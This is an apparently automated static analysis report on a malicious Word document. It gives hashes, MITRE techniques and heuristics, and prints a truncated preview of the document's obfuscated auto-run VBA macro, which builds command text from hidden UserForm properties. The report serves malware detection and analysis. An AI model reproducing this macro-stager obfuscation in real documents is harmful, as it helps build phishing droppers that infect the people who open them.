Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 761a33f48d8d2a3d…

MALICIOUS

Office (OLE)

188.2 KB Created: 2019-12-16 11:18:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 92a52a68b9fe56af282b6db1af7ace5e SHA-1: 01e7c63b91ccec00fedcbafd4e3d5131b0569740 SHA-256: 761a33f48d8d2a3dbbd964f8d14eb1197de7b1be16befb66521cad565faa9d3d
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample contains heavily obfuscated VBA macros, including a hidden UserForm, which are designed to execute automatically upon opening the document. The heuristics indicate this is a command stager that likely downloads and executes a second-stage payload. ClamAV detection further supports its malicious nature as a downloader.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-7458497-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7458497-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8116 bytes
SHA-256: b09c06f84adc830d046000b1676bee87f6548ae37c306caa6f9de690f60a9594
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Xbfyggbstkga"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Wauxlzlc, 0, 0, MSForms, TextBox"
Private Sub Document_open()
      Dim Luznhagujg
      Dim Rfycnzjafv
      For Smwinhpyipi = Bhtzmdsez To 0
         Vjigffzyym = xPI
         Liadthpqju = CDbl(3)
         Yhcqbabxi = Tan(MyeW5A)
         Qbuaqfruafvb = 4 - Uoisadandhy
         Wxktevpkc = (3 - Zkrauzdfd)
         Msehmscxm = Xvwplqgjes
         Spmatees = CDbl(6)
         Plspxjxhf = Tan(Mnvefomy)
      Next
      Dim Yytwjyvix
      Dim Kdjofrql
      For Zgmdbcvqam = Bhtzmdsez To 0
         Pesvmxgzovyn = xPI
         Qkxonoduyrhs = CDbl(3)
         Arxdrrnfwjftf = Tan(MyeW5A)
         Diyigmkslytpu = 4 - Otojzwyv
         Hkoniuje = (3 - Jijbkqzleybs)
         Vlevaaemcezbw = Dkkxkqfj
         Ixnqxbolsswpn = CDbl(6)
         Qwfecituianrv = Tan(Pbswrdrwf)
      Next
      Dim Klslsejbzaz
      Dim Ksmxqqtrjdhk
      For Trqmwmbw = Bhtzmdsez To 0
         Kbvtpxxukhh = xPI
         Fmwexahlao = CDbl(3)
         Jincftokwmo = Tan(MyeW5A)
         Blgmawvmelaai = 4 - Aeknudfojseo
         Psyaewpbzzrfd = (3 - Nbwptkscabwww)
         Wicqosbadhgz = Voaarwrhyz
         Pxziasefdjcmq = CDbl(6)
         Ashnlnremv = Tan(Acojdfrde)
      Next
Smykpfwt
End Sub

Attribute VB_Name = "Oqumvzjp"
Attribute VB_Base = "0{7C177D75-0098-48AF-8580-0D1375B79E0E}{95A7C57D-8104-4632-958D-2EBE40DFBDBD}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Azqrtcoqmf"
Function Wwrkgqfdymayp()
      Dim Qvvkowza
      Dim Foyahmvhaevm
      For Dckgafceeg = Bhtzmdsez To 0
         Gfdumjevuxh = xPI
         Cvhhdgdekh = CDbl(3)
         Talpbjsfsf = Tan(MyeW5A)
         Frmhwqgur = 4 - Kuxazrlwyqiti
         Tnontwfcb = (3 - Whtbruzbbuej)
         Hjroxydoqxs = Acesvoev
         Wznthrlp = CDbl(6)
         Zlmooenrhqwi = Tan(Zzxciuosegu)
      Next
Opqppdwpfvcl = Xbfyggbstkga.Wauxlzlc
      Dim Tnkiynjopecq
      Dim Zgxhjpmpwo
      For Kwubjcpioncco = Bhtzmdsez To 0
         Mpzuqfkdpv = xPI
         Ledqwezdnuov = CDbl(3)
         Wylevsvd = Tan(MyeW5A)
         Wtouasegziedk = 4 - Ypkysbeup
         Slaryheduc = (3 - Cvphvrwsn)
         Wdkfhyszzlnzt = Kwzgcdikhc
         Jctqzemdnncw = CDbl(6)
         Dqtpvvbm = Tan(Sglvoscceeiwf)
      Next
Jlwltcrxb = Opqppdwpfvcl + Oqumvzjp.Uieffhcfse + Oqumvzjp.Wippwwxuo + Oqumvzjp.Kkwblgmjvpege
      Dim Bezxkryjfebcq
      Dim Pdtfpvpisvwg
      For Qmbngqngvhp = Bhtzmdsez To 0
         Cjhsbjkor = xPI
         Qelwhcok = CDbl(3)
         Psapjtdjhlqc = Tan(MyeW5A)
         Ylcuwacyrzw = 4 - Rzsteynnr
         Sqgfkikn = (3 - Xwaunoqqabsgo)
         Osmecahezc = Woiojoftdsyq
         Wqejlctvvqyil = CDbl(6)
         Rarhuucsmjs = Tan(Gwtvugdqzprd)
      Next
Ebtpnkgh = Jlwltcrxb + Oqumvzjp.Uefnidjhjk + Oqumvzjp.Iraetijoqp
      Dim Uujpjalhkv
      Dim Tiodjvronaxf
      For Vytlxtsrra = Bhtzmdsez To 0
         Dwbvjmekcawvm = xPI
         Dvtwegzfno = CDbl(3)
         Iabrnrlsunsrl = Tan(MyeW5A)
         Gvbyzahovxdhq = 4 - Ngkovkajidae
         Dclcitjlqzx = (3 - Gtjjvodzlg)
         Ngmsuzwqy = Sfhkicqlruxu
         Ufporrvowvmxt = CDbl(6)
         Alnoxrenevxvu = Tan(Pmwtaugbhb)
      Next
Wwrkgqfdymayp = Iodadywfwqg + Ebtpnkgh + Iodadywfwqg
      Dim Ujzuwnkdyath
      Dim Ztjagbbrbbnj
      For Kqzhkgynhcn = Bhtzmdsez To 0
         Cyzklvyuxvi = xPI
         Qdhxhmutshal = CDbl(3)
         Vmlgnlmztcrb = Tan(MyeW5A)
         Xnvrhrpvfjva = 4 - Kryypdchmouoh
         Egfyzwflie = (3 - Agclnlqp)
         Smktpahx = Xladqbazeg
         Jabbkdhcrcia = CDbl(6)
         Oggedlkvfofz = Tan(Kqkuoyckrn)
      Next
... (truncated)

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